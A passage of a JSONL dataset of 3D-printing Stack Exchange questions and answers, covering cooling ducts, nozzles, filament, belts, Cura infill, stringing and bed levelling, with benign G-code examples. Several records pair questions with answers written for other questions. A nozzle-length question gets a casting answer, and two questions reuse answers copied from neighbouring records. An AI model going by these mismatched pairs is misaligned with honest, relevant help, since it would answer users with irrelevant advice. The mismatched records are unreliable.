aimed more at the nozzle itself rather than the part below it, so that it saps heat out of the hotend (making the heater work harder and reducing your max achievable flow) at the same time it's (barely) cooling the print. So upgrading it is desirable. But, as you've guessed, there are cons too.\nSome, especially those utilizing the stock 4010 fan,\nreduce airflow\nby constricting the airway too much. The 4010 does not really have the power to compress the air much, so if the airway cross-sectional area decreases along the way, that will reduce flow. Does the increase in focus/delivery to the right place make up for the lost flow? Maybe.\nSome\nfocus the air too narrowly\nwhile increasing its pressure, delivering high-pressure air to a still molten point on the print. This can actually cause the extruded material to bend in the direction the air is pressing it before it cools enough to solidify, giving an inaccurate print.\nLarge fans and ducts add mass to the toolhead, which can increase ringing, especially if they're not sufficiently rigid.\nMany of the cooling mods mount awkwardly to the toolhead in ways that interfere with the motion of the carriage, reducing total build volume.\nIf the cooling mod blows on/over the heater block, it can reduce melting performance and pour heat onto the part you're trying to cool. Most try to avoid doing this, but you may find you want additional insulation around the block if you use more powerful part cooling.\nSome people will also tell you that \"too much cooling\" will harm your print quality, hurting layer adhesion, making the print warp, etc. I use a rather extreme cooling system and have not encountered such problems that can't be remedied with a slight increase to the nozzle temperature, yielding better overall quality and equal strength to what I would have gotten with lower fan. But I print just PLA, PETG, and TPU, so it's likely that this could be an issue with other materials like ABS or nylon. If so you can always reduce the fan speed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.440746"}
{"id": "hf_1b8eddc32817", "question": "<p>I have a semi-diy hotend setup on my MOOZ-2 (an obscure chinese printer). It requires that the total nozzle length (including threading) is longer than 15 mm. So far, I've been using Volcano nozzles because they're the only ones I can find that meet this requirement. However I believe this negatively impacts performance because they stick out way beyond the heater block (see picture below). Unfortunately, the next size I can find are MK8 or V6 nozzles which are 13 mm - too short! Are there any nozzle sizes in between that I could use?</p>\n<p><a href=\"https://i.stack.imgur.com/IN5df.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IN5df.jpg\" alt=\"Nozzle setup\" /></a></p>\n", "question_body": "", "answer": "I think this is just an overcomplicated lost-PLA (investment) casting.\nWhat you're asking for is to create an object, create a mold around it, and then burn out the object and replace it with metal.  Traditionally this is done with wax,\nand called lost-wax casting\n, but the same can be done with anything that melts/burns away, including PLA.\nRather than worrying about burning hairs and pressure and compaction of metal powder, print a model, and use the correct kind of plaster (a search for \"investment casting plaster\" will get you going down the right path) to make your mold.  Heat the metal powder in a crucible, instead of the mold itself, and pour it through the expansion/extra material tube you were talking about.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.489562"}
{"id": "hf_250a93a4832e", "question": "<p>I have a spool of PLA filament where the diameter is visibly inconsistent. So it will only print a meter or two and then start slipping instead of being fed into the nozzle. Is this still useful for anything or can it be salvaged somehow?</p>\n<p>I can't return it, the shipping costs more than the spool.</p>\n", "question_body": "", "answer": "In principle you can re-extrude it with a somewhat simpler machine/setup than making filament from scratch, but controlling the diameter is the hard part of making filament - as you can see from how the manufacturer of yours botched it.\nI would first try insisting on a refund without returning the item unless they pay return shipping, and that they cover the original shipping cost. The product they delivered is not usable for the purpose it was advertised for.\nAs for salvaging it - if that's what you really want to do, or if you end up stuck with it - as long as it's not too wide to fit through the filament path to the nozzle, an extruder that's spring loaded can\nprobably\nmanage to push it reliably. You will of course have pulsating under- and over-extrusion which will make it largely unusable for serious parts that need to be dimensionally accurate, strong, or visually appealing, but there are lots of things without these requirements it might be useful for. If your printer isn't capable of handling it, you could perhaps sell or trade it to someone whose printer can handle it.\nGetting more on the wild end of things, there are filament diameter sensors that can be integrated with your printer and firmware (I'm pretty sure Klipper supports this; not sure about Marlin and others) to measure the diameter and compensate extruder motor steps to keep the extruded volume per requested E-axis length constant. This would in theory make it possible to use the bad filament for serious prints.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.516009"}
{"id": "hf_42e845295aee", "question": "<p>I have an old notebook computer that works just fine, but the outside of the lid is badly damaged and needs to be replaced. The screen and wiring are fine, so I only need to replace the housing that is exposed to the outside world.</p>\n<p><strong>What is the best filament for an impact-resistant printed housing?</strong> Should I consider other options that may prevent damage to the internal components? Are there any alternatives with cosmetic benefits?</p>\n<p>Edit:\nSince I was asked, presume I may be willing to buy a new part to upgrade or accommodate a new filament type.</p>\n", "question_body": "", "answer": "If you just cared about impact resistance of the housing itself, the clear choice would be TPU, which would be basically indestructible. However, the housing is there to protect what's inside - not only from impact, but from stresses (e.g. bending) that could break it. This means you need a material that both provides rigidity and avoids breaking easily itself.\nIf you were doing an old (90s or earlier) style laptop case that's a tank, I'd actually say yeah, go with TPU 95A or higher (98A or so if you could get it) and add some reinforcement ribs/stiffeners. This stuff can be quite rigid at 100% infill, and it will hold up fine to heat, abrasion, even most chemicals. But if this is a modern slim style case, a small amount of material needs to provide a lot of rigidity and that's not going to work.\nPLA actually fares really well here in some ways - it's one of the most rigid printable materials, and very easy to get good bonding. If you check for example CNC Kitchen's strength tests, you'll find plain PLA usually coming out on top of most comparisons. However, PLA doesn't handle heat well, which might rule it out.\nASA, ABS, or PC is probably your best bet, but I don't have any experience with them so I'll leave the part about them as something for another answerer to write.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.574655"}
{"id": "hf_c4da1c43dfc4", "question": "<p>Can the GT2 belts lengthen themselves if they are tentioned too much?</p>\n<p>I had them tensioned quite a bit until I saw the <a href=\"https://youtu.be/zoKmmT0a7jk\" rel=\"nofollow noreferrer\">video</a> from &quot;Lost in Tech&quot;. I then decided to reduce the tension, but the dimensional precision was all over the place. So my guess is, that the belts are too long now?</p>\n", "question_body": "", "answer": "First of all there are two methods to achieve the belt be tensioned.\nFirst method is when both ends of the belt hard attached. In this case if there is a fluctuation in the mechanical system then it will be absorbed by the belt itself. And in this case with big tension it will result in stretching over time with tension disappearing.\nThe second method is to use spring at one end. The spring will absorb all the fluctuations with little or no effect on the belt.\nBut I had really bad problems with GT2 PU belts (including steel reinforced), under big tension they degrade suddenly with big change in the geometry at some position. When removed they look twisted. Looks like some reinforcing wires slipped inside the PU body of the belt.\nOnce switched to rubber GT2 belts (fibreglass reinforced) I never had problems connected to the belts. I can tell that rubber GT2 belts have no noticeable change in the geometry over many years of constant use under high tension with the spring.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.615143"}
{"id": "hf_4840647de4da", "question": "<p>Most of the guides I can find are just canned responses to specific questions. Instead I'm looking for something meant to teach good fundamental understanding and core needed skills. Beginner's guides are common in other hobbies but I am having trouble finding one for 3d printing.</p>\n", "question_body": "", "answer": "Thera are plenty of such guides. But from necessity they deal with specifics, there are too many things to cover otherwise.\nMultiple types of printers, multiple brands, multiple slicers, multiple ways of modelling etc,. With more all the time. Reading up on something that tells me how to model and slice in Freecad & Creality, when I'm using Blender & Cura is a waste of time.\nGeneric instructions that apply to everything are so vague as to be essentially useless. (Plenty of those online though)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.651914"}
{"id": "hf_c7abaab18520", "question": "<p>Looking to print a new part for a home appliance. There's going to need to be a new model created with the customizations made, but the model (after printing) will have to fit where the old part was. Is there any 3D modeling software that is better for this purpose? Will I just have to guess at proper proportions and hand-adjust the scaling of each dimension and angle through trial and error until a version fits?</p>\n", "question_body": "", "answer": "Thera are plenty of such guides. But from necessity they deal with specifics, there are too many things to cover otherwise.\nMultiple types of printers, multiple brands, multiple slicers, multiple ways of modelling etc,. With more all the time. Reading up on something that tells me how to model and slice in Freecad & Creality, when I'm using Blender & Cura is a waste of time.\nGeneric instructions that apply to everything are so vague as to be essentially useless. (Plenty of those online though)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.676159"}
{"id": "hf_6796f254e4f9", "question": "<p>When using a filament based printer, what operator behaviors increase the frequency at which a bed must be relevelled between prints?</p>\n", "question_body": "", "answer": "The only ones I have found are.\nManually putting pressure on the bed when removing prints.\nRemoving the bed covering, eg a glass plate\nDamaging the bed in some way. For example my bed has high spots on it (always has). This means that if I remove the glass plate I use and put it back, it sits slightly different. If I orient the glass a different way from prior it always needs levelling.\nChanging filament types.\nChanging cover types eg magnetic and glass are different thicknesses.\nChanging first layer needs. Sometimes I need the first layer squished a bit depending what I'm doing.\nLastly on my Ender 3 Pro if the z-axis switch isn't screwed in tight enough it can slip down a fraction.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.736376"}
{"id": "hf_306424e348e4", "question": "<p>I'm looking for a way to slice up a 3D model and then get the profiles of each individual layer. I need to 2D print the different layers (with the layer height that I define) for a Styrofoam craft.</p>\n<p>Thank you very much!</p>\n", "question_body": "", "answer": "With OpenSCAD, you can\n```\nimport\n```\nthe STL file and apply\n```\nprojection\n```\nwith\n```\ncut=true\n```\nat successive Z-axis\n```\ntranslate\n```\noperations, and write out the result as SVG. This can all be automated from the command line to product a series of SVG files for your layers to \"2D print\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.772130"}
{"id": "hf_2b8abbd5ea22", "question": "<p>I'm new to 3D printing and I was wondering about the risks of leaving my printer to print overnight? I'm aware that if something goes wrong I'll wake up to spaghetti for breakfast but what are the other things like having the nozzle and bed heated that long? And, when it's done it just sits there on so what could that do to the screen? What if the printer runs into some physical problem and damages itself and/or the print? I'm not looking for answers to these questions specifically just feedback on what I should do when printing overnight.</p>\n", "question_body": "", "answer": "Presuming that you're talking about an 8 hour period, your printer should be designed to run for 8 hours continuous anyway, so nothing will happen regarding the bed or screen that wouldn't happen with a normal print.\nIf the first few layers stick to the bed, it's likely that you're print will at least be partially completed. So even over night it won't be a full 8 hours of printing while failed. Maybe half that period.\nIf the problem is bed adhesion, or anything that doesn't effect the filament being supplied to the nozzle, then your only problem will be wasted filament and disposing of the spaghetti. No harm will come to your printer.\nIf the problem is a break in the filament or filament runout, or a blocked nozzle then you could have damage to the head of the nozzle from printing dry. If you're printing with PLA this isn't really something that you need to worry about too much as you can run a printer dry for several hours without any problems.\nIf you're printing with ABS or something that needs a hotter head then you could cause damage to it if it's allowed to run dry for an entire night. But again this isn't really something that you need to worry about unless it's running dry for 4 or 6 hours.\nSimply checking in on it once in the night should be enough to prevent any problems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.854363"}
{"id": "hf_9e1b7b942816", "question": "<p>I'm having a lot of issues leveling my printer and one failed print came out like this. Is there something wrong with the surface that I need a new bed? This happens to me quite often and I literally can't get it off.</p>\n<p><a href=\"https://i.stack.imgur.com/vOVeZ.jpg\" rel=\"nofollow noreferrer\" title=\"Magnetic bed with filament still stuck to bed\"><img src=\"https://i.stack.imgur.com/vOVeZ.jpg\" alt=\"Magnetic bed with filament still stuck to bed\" title=\"Magnetic bed with filament still stuck to bed\" /></a></p>\n", "question_body": "", "answer": "Presuming that you're talking about an 8 hour period, your printer should be designed to run for 8 hours continuous anyway, so nothing will happen regarding the bed or screen that wouldn't happen with a normal print.\nIf the first few layers stick to the bed, it's likely that you're print will at least be partially completed. So even over night it won't be a full 8 hours of printing while failed. Maybe half that period.\nIf the problem is bed adhesion, or anything that doesn't effect the filament being supplied to the nozzle, then your only problem will be wasted filament and disposing of the spaghetti. No harm will come to your printer.\nIf the problem is a break in the filament or filament runout, or a blocked nozzle then you could have damage to the head of the nozzle from printing dry. If you're printing with PLA this isn't really something that you need to worry about too much as you can run a printer dry for several hours without any problems.\nIf you're printing with ABS or something that needs a hotter head then you could cause damage to it if it's allowed to run dry for an entire night. But again this isn't really something that you need to worry about unless it's running dry for 4 or 6 hours.\nSimply checking in on it once in the night should be enough to prevent any problems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.878457"}
{"id": "hf_fffc585f14a4", "question": "<p>I recently burnt out one of the MOSFETS on my RAMPS 1.4 board on my Sintron Kossel clone so have upgraded it to a RAMPS 1.6.\nNow my printer seems to only print 50 % of the intended size.</p>\n<p>After the machine homes it only comes down about 50 % of the distance and so starts printing in mid air.</p>\n<p>I thought it might have been the driver steps? The DRV 8825 drivers are 32 steps instead of 16. I changed this value in the firmware but it didn't make any difference.</p>\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Data from Firmware is not written into EEPROM on its own after updating your firmware. You need to send a\n```\nM502\n```\nto \"seed\" the firmware numbers as that is restoring the \"default\" settings in it. If you are unsure what is currently the EEPROM setting, use\n```\nM503\n```\nfirst.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.975064"}
{"id": "hf_76f1cbff1adc", "question": "<p>I printed a G1/8 thread in PLA where I can connect a compressor to have a small pressure container. Even though all measurements are correct and it screws in fine, it still leaks air.</p>\n<p>Is there a way to make 3D prints airtight?</p>\n", "question_body": "", "answer": "Yes.\nThe issue is, that there are small gaps between the layers. But you can coat the print in an airtight material. While epoxy and similar materials work very well, they are somewhat too viscous and take a long time to cure.\nMy special recipe for coating PLA prints with a fast-curing airtight thin layer is:\nDissolve 1 g Paraloid B-72 in 20 ml acetone.\nDip or otherwise evenly coat the print and dry at room temperature for 10-20 minutes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.999074"}
{"id": "hf_fb1334d2fd45", "question": "<p>I'm a beginner in 3d printing, so please bear with me.</p>\n<p>I downloaded a zip with about 100 STL files. I now want to pick one or two to print. The names of the stl files are not very helpful so I need to look at them to find the ones I want. I can open all of them one by one using Cura, or Tinkercad, but that is a very slow and long process with so many files. Ideally I would like to have an overview of all the files in little previews so that I can get an idea what they are to narrow down which files I need to open to inspect the details.</p>\n<p>Is there a program with which I can do something like that? I'm on Linux, but tips about Windows/Mac software would also help since I can use it to search for Linux alternatives to that software. All tips are welcome!</p>\n", "question_body": "", "answer": "Cura's probably your best bet.  You can select several STL files and it will open them all, (memory allowing) then try to place them for printing.  If they can't fit on your print bed the items get placed off to the side.  Clicking on the object will show its name in the lower-left, so you can go rename the file to be more representative.\nTinkercad can only import one item at a time, and tops out at 25 Mbytes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.131701"}
{"id": "hf_8133390bff07", "question": "<p>I am new to 3D printing. I own jewelry stores and want to 3D print my jewelry packaging for rings, necklaces, and bangles as in the picture below:</p>\n<p><a href=\"https://i.stack.imgur.com/NVwgE.png\" rel=\"nofollow noreferrer\" title=\"Product photo of a jewelry ring box\"><img src=\"https://i.stack.imgur.com/NVwgE.png\" alt=\"Product photo of a jewelry ring box\" title=\"Product photo of a jewelry ring box\" /></a></p>\n<p>I have two main problems:</p>\n<ol>\n<li><p>Is 3D printing capable of building this package?</p>\n</li>\n<li><p>I know I can build boxes for jewelry with the outside being made of plastic. But I want the inside to be like a sponge. Is there a filament or a way to print a filament to make it look like cloth or a sponge?</p>\n</li>\n<li><p>Are there printers on the market which are able to print several copies without the need to set up each time it finishes a single box?</p>\n</li>\n</ol>\n", "question_body": "", "answer": "With the right materials\nWith the right material, you can get flexible surfaces and prints. Just two random examples:\nTPU is a flexible material, which can be used to print something like \"Lips\" that flex and take the jewelry or even strings that suspend the piece in the center.\nFoaming TPU is a variant of normal TPU that expands during printing. This makes it somewhat spongey.\nHowever, those have downsides: they don't make good rigid shells, so you will need two different materials: one hard for the shell, and something flexible for the holder.\nLuckily, any direct drive filament printer can work with flexible filaments, and there are some flexible filaments that work with a Bowden setup. Due to dissimilar materials though, you need to either assemble the part or buy a somewhat specialized printer: one with two nozzles. These are available but are way out of hobby-grade pricing.\nAlso, you will never get the \"smooth\" silky look of a fabric insert cover, but always a clearly industrial printed surface.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.218877"}
{"id": "hf_49f8cbcba132", "question": "<p>I'm quite new to 3D CAD and printing.\nI own a Dremel 3D45 and I use FreeCad / Ultimaker Cura as softwares.</p>\n<p>My question is pretty simple.\nSay you have to make one object with a pin and another with a hole. They should be coupled together. Of course if you set the diameters of the pin and the hole equal the won't fit!</p>\n<p>Right now I'm setting the hole larger of 0.2 mm and the pin smaller of 0.2 mm. This allow a quite good coupling (not so hard but with some resistance).</p>\n<p>I guess this tolerance (0.4 mm in my example) depends on a lot of variables: 3D printer settings, material, etc... so it may change using different setup.</p>\n<p>How to correctly handle this?</p>\n<p>Should I add a variable in my CAD spreadsheet and use it to change the nominal diameter of the coupling items?</p>\n<p>I don't think so, but anyway: is there a settings in Ultimaker Cura that allow to compensate an hole or a pin by a specified amount?</p>\n<p>Any other suggestion is gladly accepted.</p>\n", "question_body": "", "answer": "I guess this tolerance (0.4 mm in my example) depends on a lot of variables: 3D printer settings, material, etc... so it may change using different setup.\nTolerances required\ndepend on the geometry you're printing\n. A hole that is horizontal, vertical, or diagonal will need different tolerance (as I found out in a project that used the same steel dowel pins in three different orientations). And, vertical holes and pins are different from flat-sided shapes: the plastic will be pulled toward the center of a curve, so diameters come out small (and more so for holes since there's no material further inward to resist the movement).\nThat said, I think you can expect that the distortions of printing are fairly consistent, if your printer is functioning well. I have a Prusa i3 MK3S, and I have printed many parts other people have designed, and\nwhen\nthose parts have been designed carefully, I almost always get very good fits between parts. So, my experience suggests that models do not necessarily need tuning for specific printers.\nShould I add a variable in my CAD spreadsheet and use it to change the nominal diameter of the coupling items?\nYes. If nothing else, this allows you to define how the two parts\nshould\nfit together separately for the printing error. Use separate numbers for different shapes/fits, so that you can adjust one without messing up another.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.242832"}
{"id": "hf_670bf2a41691", "question": "<p>What slicers have support for belt printers like the CR-30?  Or what slicers can have an add-on, plugin, or extension added to them to support it (from a user level, not a dev level).</p>\n<p>I found more total slicers than I expected, since I was only expecting 3 (Cura, PrusaSlicer, Simplify3d).  Surely that means I'm missing out on more, if there are already so many different slicers.</p>\n<ul>\n<li>Creality Slicer - Comes from the OEM of the printer</li>\n<li>Blackbelt Cura - Everyone who mentions it says don't use it because it's old</li>\n<li>Raise3d Ideamaker - Seems to be based on Flashforge's slicer, has some interesting features too.  Not as configurable as Slic3r or PrusaSlicer though.</li>\n</ul>\n", "question_body": "", "answer": "I think most slicers don't distinguish printers based on if they have belts or delta configuration, etc.  The slicer generates gcode, and the firmware on the printer translates the gcode into actuator motions specific to that printer to perform the gcode.\nThe difference slicers generally care about is if it is a FFF printer that extrudes a bead or a resin printer that solidifies liquid.   Many other 3d printing methods exist, but those to are the most common ones supported by most of the open slicers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.283603"}
{"id": "hf_50468514ee22", "question": "<p>I'm printing a ring that's a replacement for the non-slip base of a mixing bowl. The ring is about 130mm in diameter, with a rectangular cross section, like this:</p>\n<p><a href=\"https://i.stack.imgur.com/9cx9Y.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9cx9Y.png\" alt=\"rubber ring\" /></a></p>\n<p>I'm using Cura as the slicer, and I've set the infill to 100% and <code>concentric</code>, but after slicing it looks like Cura used <code>lines</code> instead; the ring is filled with parallel straight lines:</p>\n<p><a href=\"https://i.stack.imgur.com/LEfXF.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/LEfXF.png\" alt=\"lines infill\" /></a></p>\n<p>Is this a problem with Cura? Is there something I can do to encourage it to use concentric infill? I don't really care what the infill pattern is, but I think <code>concentric</code> would print a lot faster since the head wouldn't have to switch directions all the time.</p>\n", "question_body": "", "answer": "Is this a problem with Cura?\nI don't know if the good folks at Ultimaker consider this a bug or a feature, but it appears that Cura uses the\n```\nLines\n```\noption regardless of the\nInfill Pattern\nsetting when\nInfill Density\nis set to\n```\n100%\n```\n. There may well be some reason for that; for example, the fact that the\n```\nLines\n```\noption alternates the direction of the lines from one layer to the next probably makes for stronger parts.\nIs there something I can do to encourage it to use concentric infill?\nYes!\nIt turns out that setting\nInfill Density\nto anything less than\n```\n100%\n```\ngives the expected concentric infill (provided\nInfill Pattern\nis set to\n```\nConcentric\n```\n, of course). When I changed the setting to\n```\n99.99%\n```\nand re-sliced, I got concentric infill in the Preview panel. I haven't tried printing yet, but I have no doubt that I'll get the same thing in the actual print.\nI don't really care what the infill pattern is, but I think concentric would print a lot faster\nWith\nInfill Density\nset to\n```\n99.99%\n```\nand\nInfill Pattern\nset to\n```\nConcentric\n```\n, the estimated time to print my part drops from 4 hours 50 minutes to 2 hours 44 minutes,\na 44% time savings compared to 100% infill\n. That's probably a lot more savings than you'd get on a part that wasn't so narrow, but it's worth knowing that at least some parts can print much faster with concentric infill.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.307655"}
{"id": "hf_0c0a849cd388", "question": "<p>On my Ender 3 v2 printer I recently and consistently get some knocking.\nThis happens in only two scenarios.</p>\n<p>First, it now occurs all the time when printing the initial test strip gets near the top (high Y value), and knocks several times.</p>\n<p>Secondly, it occurs if the model (sliced with Cura) has a high Y value (eg: if the model occupies most of the bed).\n(If there is room and I move the model - in Cura - closer to the front there is no knocking.)\nOn the first 10 (or so) layers the printer sometimes knocks when a high Y value is reached and the entire model is thereafter shifted to the front by a few millimeters.</p>\n<p>There is a third scenario. At the end of a print the print head is in the middle of the bed and moves up 20 mm then travels directly to the top left corner. At this corner there are 4 or 5 &quot;knocks&quot; (and the nozzle is 20 mm above the bed).</p>\n<p>Any suggestions to diagnose/fix this problem will be much appreciated.</p>\n", "question_body": "", "answer": "Your bed has become unleveled or skewed in Y direction.\nWhen the nozzle is closer to the bed the extruder has to push harder to get the same filament flow through a smaller space, the stresses the extruder to a point that the stepper skips or grinds the filament. This is generally described as a knocking sound.\nYou need to find out why the bed is higher at the upper end of the Y range and fix this. Otherwise your bed has become warped and may need to be replaced. There are alternatives in using a sensor (e.g. a BLTouch) to sense the shape of the print surface, it will then automatically adjust for the shape during the first 10 mm (default value) of your print product. Installing a sensor requires new or alternative firmware.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.333774"}
{"id": "hf_e415bc603ab0", "question": "<p>I'm using an Ender 5 with standard PLA and Creality slicer 4.8.2.</p>\n<p>How can I deliberately maximise stringing, and if possible get it to be as consistent as possible.</p>\n<p>My aim is to have &quot;thousands of hair like threads strung between two rocky pillars&quot;.</p>\n<p>If possible I'd like to do this in the slicer with PLA, rather than using cotton or some other material after the model has printed.</p>\n", "question_body": "", "answer": "Slicers will perform a retraction when moving from one solid to another, the value of which is part of the settings. I've not researched if a specific slicer will allow a negative retraction, but if it's possible, it's likely to create adjustable stringing.\nIf negative retraction is not possible, one can identify the retraction segments in g-code of the print and find/replace those values with extrude rather than retract. My slicer, Simplify3D does not support reversed retraction, but the code is clear when examined with a text editor:\n```\n```\nG1 E-4.0000 F2400\nG1 Z0.300 F1200\nG1 X118.760 Y117.415 F12000\nG1 Z0.250 F1200\nG1 E0.0000 F2400\nG92 E0.0000\nG1 X122.415 Y113.760 E0.0972 F900\nbuild g-code removed for clarity\nG1 X118.760 Y117.415 E1.5303\nG92 E0.0000\nG1 E-4.0000 F2400\nG1 Z0.300 F1200\nG1 X158.280 Y117.216 F12000\nG1 Z0.250 F1200\nG1 E0.0000 F2400\nG92 E0.0000\nG1 X162.216 Y113.280 E0.1047 F900\nbuild g-code removed for clarity\nG1 X158.280 Y117.216 E1.5902\nG92 E0.0000\nG1 E-4.0000 F2400\nbuild g-code removed for clarity\nG1 E0.0000 F2400\nG92 E0.0000\nG1 X162.415 Y113.760 E0.0972 F900\nbuild g-code removed for clarity\nG1 X158.760 Y117.415 E1.5303\nG92 E0.0000\nG1 E-4.0000 F2400\n```\n```\nAll entries beginning with G1 E-4.0000 represent the 4 mm retraction called by the slicer. One could search for just that code and replace it with a positive value. Some experimentation is indicated to accomplish the desired result. The F value is feed rate and presents another value to adjust.\nPursuant to Oscar's comment, I overlooked the lack of movement as a factor. He is correct, such a modification is likely to create a blob. As a possible compensation, a better modification would be to create a custom extrusion code with a reduced flow rate, using the existing code as a reference.\nThis starts to complicate the process substantially, requiring far more calculations and edits. I suggest that it could yet be accomplished, but would be more easily done so with post processing of the code via Python or similar, with which I am not qualified to address.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.361978"}
{"id": "hf_265d24c37657", "question": "<p>I have 12 parts for a model I want to print but I would like to know if I can put all of them in a single G-code file and print that on its own. Would this affect the model in any way?</p>\n<p>I’m using PLA on my Ender 3 Pro</p>\n", "question_body": "", "answer": "This answer assumes FDM printing -- for resin printers, as I understand it, as long as there's flow space between parts, if they fit on the build plate, they'll print.\nFor FDM, generally, you'll get better print quality printing a single part, because layers don't cool while you print the same layer for each of the other parts (meaning layer adhesion will be better).  That said, if the parts are very small, this additional cooling may be an improvement vs. having to set your slicer to provide a pause between layers to avoid slumps and layer spreading.\nA compromise, if the parts are low enough, is that most slicers can be instructed to print the parts sequentially -- that is, print all of part A, then all of part B, and so forth.  This has some limitation in that all parts already printed must clear parts of the machine, and may also require larger clearance between parts for items like fan shrouds.\nBut printing a bunch of parts at one time does work, if the compromises in layer adhesion and other quality issues related to traveling between parts are acceptable.  The only way to be sure is to print the whole lot (perhaps with a large nozzle and thick layers, low infill, etc. to minimize filament consumption and print time) and see if they're good enough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:20.386641"}
